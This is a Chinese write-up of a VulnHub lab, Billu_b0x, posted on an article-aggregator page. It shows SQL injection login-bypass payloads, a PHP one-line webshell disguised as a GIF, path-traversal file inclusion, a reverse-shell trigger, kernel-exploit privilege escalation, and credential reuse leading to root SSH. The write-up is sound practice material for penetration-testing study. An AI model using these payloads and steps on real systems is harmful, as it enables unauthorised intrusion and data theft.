打靶记录11——Billu_b0x

靶机：

https://download.vulnhub.com/billu/Billu_b0x.zip

难度：

  • 中（两种攻击路线）

目标：

  • 取得root权限

涉及的攻击方法：

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入（Sqlmap跑不出来）
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意：

选择包含所有网卡的MAC地址，就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP，我直接用VMware了，kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器，根据提示Show me your SQLI skills ，那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包，发到BurpSuite的Intruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了，提示You are allowed
image.png
那我们直接用这个登录，账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能，尝试上传一个有一句话木马的shell.php，但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包，修改文件名后缀，Content-Type，还有添加GIF89a;文件头之后，成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
在Show Users里查看，发现多了一个用户，然后复制图片链接去访问，发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码，也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的，那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users，然后点击Continue，然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功，那用目录穿越的方法，改成load=../../../../../../../etc/passwd就能成功读取到文件，说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试，发现不行，那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shell的php的代码试试，也就是再上传一张伪造的图片，它的扩展名仍然是png，但是内容是反弹shell的php的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头，然后IP和监听端口设置成kali的
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片，触发反弹shell
image.png
成功反弹shell之后，按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本，是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索，发现一个C语言的代码利用脚本，之前的打靶中有使用过的，就不过多的赘述了，参考：打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录，然后开启http服务
image.png
然后让靶机下载这个exp.c，用gcc把它编译成一个二进制文件，给它执行权限，然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter，但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功，还有POST方式
image.png
用POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码，说明这不是一个文件包含漏洞，而是任意文件下载漏洞，只会显示代码，不会解析代码。
image.png
那我们查看一下首页index.php，前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php// 开始会话，确保可以使用 $_SESSION 超全局变量session_start();// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');// 检查用户是否已登录，如果没有，设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {$_SESSION['logged'] = '';
}// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {// 显示已登录的消息echo "you are logged in :)";// 重定向到 'panel.php'header('Location: panel.php', true, 302);
} else {// 如果用户没有登录，显示登录表单echo '<div align=center style="margin:30px 0px 0px 0px;"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br>Show me your SQLI skills <br><form method=post>Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br><input type=submit name=login value="let\'s login">';
}// 检查是否点击了登录按钮
if(isset($_POST['login'])) {// 将'\'替换为''$uname = str_replace('\'', '', urldecode($_POST['un']));$pass = str_replace('\'', '', urldecode($_POST['ps']));// 创建 SQL 查询来检查用户名和密码是否匹配$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';// 执行 SQL 查询$result = mysqli_query($conn, $run);// 如果查询结果有行，则用户凭据正确if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";// 设置会话变量以表示用户已登录$_SESSION['logged'] = true;$_SESSION['admin'] = $row['username'];// 重定向到 'panel.php'header('Location: panel.php', true, 302);} else {// 如果凭据不匹配，显示警告信息echo "<script>alert('Try again');</script>";}
}// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''，服务端没有进行严格的筛选和限制

  • \右斜线是转义符，相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #，0=0永远为真

搞懂了SQL注入漏洞存在的原因之后，继续进行信息收集
在c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径，可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin，使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
在auth表里面发现正常的账号密码biLLu hEx_it，可以直接登录首页
image.png
继续进行目录探测（每当我们有新的目录和路径发现的时候，从渗透、实践的角度来讲，都建议对新发现的子路径、子目录再去进行进一步的爬取，每一个子目录里面都有可能存在更多、更有价值的信息）
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集，端口扫描的时候是发现它开启了22端口的，我们尝试用这个账号密码登录一下。
发现我们直接登录进来了，称为了root用户！
image.png

总结：

  • 打完写个Note，天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型，但是如果我们能将这种传统的漏洞类型相互结合，综合发挥它们的威力和实力的话，最后发现它能达到的攻击的效果，仍然是非常巧妙，威胁程度也是非常高的。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/401729.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

最新的APS高级计划排程系统推动的MRP供应链计划是什么？

最新的APS高级计划排程系统推动的MRP供应链计划是什么？

在当下“内卷”的市场环境下&#xff0c;制造业的订单需求从过去大批量标准品生产已经演变成小批量、多订单的非标订单生产&#xff0c;这对制造业的供应链提出了更高的要求。为了应对市场实现产销平衡&#xff0c;中大型的企业都开始重视供应链的建设工作&#xff0c;以应对企…
阅读更多...
win10配置pytorch环境+CUDA安装

win10配置pytorch环境+CUDA安装

步骤 1&#xff1a;更新显卡驱动 参考&#xff1a;如何在windows上 安装&更新 显卡的驱动_显卡驱动series和notebook-CSDN博客 进入英伟达官网&#xff1a;下载 NVIDIA 官方驱动 | NVIDIA 根据GPU类型选择对应的NVIDIA驱动&#xff0c;选好后点击“查找” 选择下载 GeFo…
阅读更多...
记录｜C#中panel与panel重叠显示问题

记录｜C#中panel与panel重叠显示问题

目录 前言一、问题在现二、方案解决三、效果展示更新时间 前言 参考文章&#xff1a; C#中winform中panel重叠无法显示问题的解决 一、问题在现 问题是我实现上图中效果&#xff0c;但是panel和panel的交界处放入其他组件后&#xff0c;会被部分覆盖【如下图示】 二、方案解决…
阅读更多...
UniApp的神器-开启前端开发的全新篇章

UniApp的神器-开启前端开发的全新篇章

本文介绍了DIYGW UniApp可视化工具作为一款低代码开发平台的特点和优势。该工具采用拖拽式设计和模块化开发&#xff0c;能够快速转化想法为可运行应用&#xff0c;并支持多种平台部署。它具有所见即所得的设计体验、丰富的组件库、前后台通信模块和跨平台兼容性等特点。使用该…
阅读更多...
Astro + Cloudflare Pages 快速搭建个人博客

Astro + Cloudflare Pages 快速搭建个人博客

目录 1 选择 Astro 模板2 使用代码3 修改代码4 上传 Github5 部署 Cloudflare Pages6 后续修改 最近我搭建完了我的个人网站&#xff0c;很多人问是怎么做的&#xff0c;今天就来写一篇教程吧。 全部干货&#xff0c;看完绝对能成功搭建自己的网站&#xff01;&#xff08;还不…
阅读更多...
服装行业的利器：RFID智能吊挂分拣系统

服装行业的利器：RFID智能吊挂分拣系统

服装行业的利器&#xff1a;RFID智能吊挂分拣系统 服装业继续走粗放型老路的利润空间越来越小&#xff0c;行业内过度竞争利润降低&#xff0c;原料价格上涨导致成本上升。企业内部生产技术创新不足、工厂生产效率低&#xff0c;导致产出不够、货期竞争乏力。企业为了盈利生存…
阅读更多...
【乐吾乐大屏可视化组态编辑器】动态图表

【乐吾乐大屏可视化组态编辑器】动态图表

动态图表 在线使用&#xff1a;https://v.le5le.com/ 1. 建立数据列表 左侧选择数据栏&#xff0c;列表栏建立数据&#xff08;变量&#xff09;列表。具体查看&#xff1a; 数据绑定 2.绑定数据点 官方图表默认都开启了模拟数据&#xff0c;可以在数据-列表中取消“开启全…
阅读更多...
SDL 锁屏视频卡死bug原因

SDL 锁屏视频卡死bug原因

最近在封装播放库&#xff0c;我用的是FFMPEGSDL库封装&#xff0c;这个库其实用起来不难&#xff0c;因为网上可供参考的资源也多&#xff0c;所以我自己也封装了一个&#xff0c;但是播放视频时只要我电脑一锁屏再重新打开&#xff0c;我靠视频卡住不动了&#xff0c;我调试看…
阅读更多...
gitlab自动部署是什么 gitlab自动部署如何进行操作

gitlab自动部署是什么 gitlab自动部署如何进行操作

在现代软件开发流程中&#xff0c;自动化部署是提高效率和确保软件质量的关键环节。GitLab作为一个强大的DevOps平台&#xff0c;提供了完整的自动部署工具&#xff0c;帮助开发团队实现代码从编写到生产的无缝转换。本文将详细解析GitLab的自动部署功能是什么&#xff0c;如何…
阅读更多...
C语言典型例题37

C语言典型例题37

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 例题3.5 按照按照考试成绩的等级输出百分制分数段&#xff0c;A等为85分以上&#xff0c;B等为70~84分&#xff0c;C等为 60~69分&#xff0c;D等在60分以下&#xff0c;成绩的等级从键盘输入 代码&#xff1a; //…
阅读更多...
搜维尔科技：Varjo XR-4 功能详解：实现业界首个凝视驱动自动对焦系统

搜维尔科技：Varjo XR-4 功能详解：实现业界首个凝视驱动自动对焦系统

对可变焦光学元件的需求 目前&#xff0c;所有其他XR HMD都在视频直通摄像头中使用定焦光学元件&#xff0c;其焦距无法改变。人眼可以辨别高达约 60 像素/度 ( PPD ) 的细节&#xff0c;但定焦光学元件的问题在于&#xff0c;在实践中&#xff0c;它们的分辨率极限约为 30 PP…
阅读更多...
vulnhub靶机 DC-9（渗透测试详解）

vulnhub靶机 DC-9（渗透测试详解）

一、靶机信息收集 1、靶机下载 https://download.vulnhub.com/dc/DC-9.zip 2、靶机IP扫描 3、探测靶机主机、端口、服务版本信息 4、靶机目录扫描 二、web渗透测试 1、访问靶机IP 查看页面功能点&#xff0c;发现一个搜索框和登录框 2、测试一下是否存在sql注入 查看当前数…
阅读更多...
激光雷达点云投影到图像平面

激光雷达点云投影到图像平面

将激光雷达点云投影到图像平面涉及几何变换和相机模型的应用。以下是该过程的基本原理&#xff1a; 1. 坐标系转换 激光雷达生成的点云通常位于激光雷达的坐标系中&#xff0c;而图像则在相机坐标系中。为了将点云投影到图像上&#xff0c;首先需要将点云从激光雷达坐标系转换…
阅读更多...
GitHub Actions 遭利用，14个热门开源项目令牌泄露风险激增

GitHub Actions 遭利用，14个热门开源项目令牌泄露风险激增

近日&#xff0c;有攻击者通过 CI/CD 工作流中的 GitHub Actions 工具窃取了谷歌、微软、AWS 和 Red Hat 等多个知名开源项目的 GitHub 身份验证令牌。 窃取这些令牌的攻击者可在未经授权的情况下访问私有存储库、窃取源代码或向项目中注入恶意代码。 Palo Alto Networks Un…
阅读更多...
docker部署redis

docker部署redis

1.搜索镜像 docker search redis 2.拉取镜像 可省略第二步&#xff0c;直接执行第三步 docker pull redis 3.创建Redis容器并设置密码 也可以不设置密码 不设置密码&#xff1a; docker run -d -p 6379:6379 \ -v /Users/hal/DevelopmentToolkit/redis/redis.conf:/etc/red…
阅读更多...
【漏洞复现】某骋BPM系统——Handler.ashx——sql注入

【漏洞复现】某骋BPM系统——Handler.ashx——sql注入

声明&#xff1a;本文档或演示材料仅供教育和教学目的使用&#xff0c;任何个人或组织使用本文档中的信息进行非法活动&#xff0c;均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 某骋BPM系统是一款功能全面的商业流程管理平台,旨在帮助企业实现…
阅读更多...
SpringCloud Sleuth2

SpringCloud Sleuth2

继SpringCloud Sleuth-CSDN博客 使用RabbitMQ收集链路数据 引导 通过Spring Cloud Sleuth整合Zipkin&#xff0c;已经实现了通过HTTP方式收集链路跟踪信息&#xff0c;除了使用HTTP方式之外&#xff0c;还可以使用RabbitMQ消息中间件异步收集链路跟踪信息。本节讲解如何通过R…
阅读更多...
STM32cubemxide v1.0.0开发烧录

STM32cubemxide v1.0.0开发烧录

STM32cubemxide v1.0.0开发烧录 1.介绍2.烧录 1.介绍 使用STM32cubemxide v1.0.0是因为他自带的freertos版本是10.0.1版本,虽然里面也有做更改而且也加入了亚马逊的代码&#xff0c;但是比较接近未被修改的freertos9版本的代码&#xff0c;也可以去官网下载。 STM32Cubemxide …
阅读更多...
day 26网络编程—协议

day 26网络编程—协议

1、协议&#xff1a;通信双方约定的一套标准 2、国际网络通信协议标准&#xff1a; 1.OSI协议&#xff1a; 应用层 发送的数据内容 表示层 数据是否加密 会话层 是否建立会话连接 传输层 数据传输的…
阅读更多...
Processing用多方形绘制代码

Processing用多方形绘制代码

案例代码如下&#xff1a; import processing.pdf.*; import java.util.Calendar; boolean recordPDF false; void setup(){ size(720,720); smooth(); noFill(); background(255); } void draw(){ if(mousePressed){ translate(width/2,height/2); int c…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023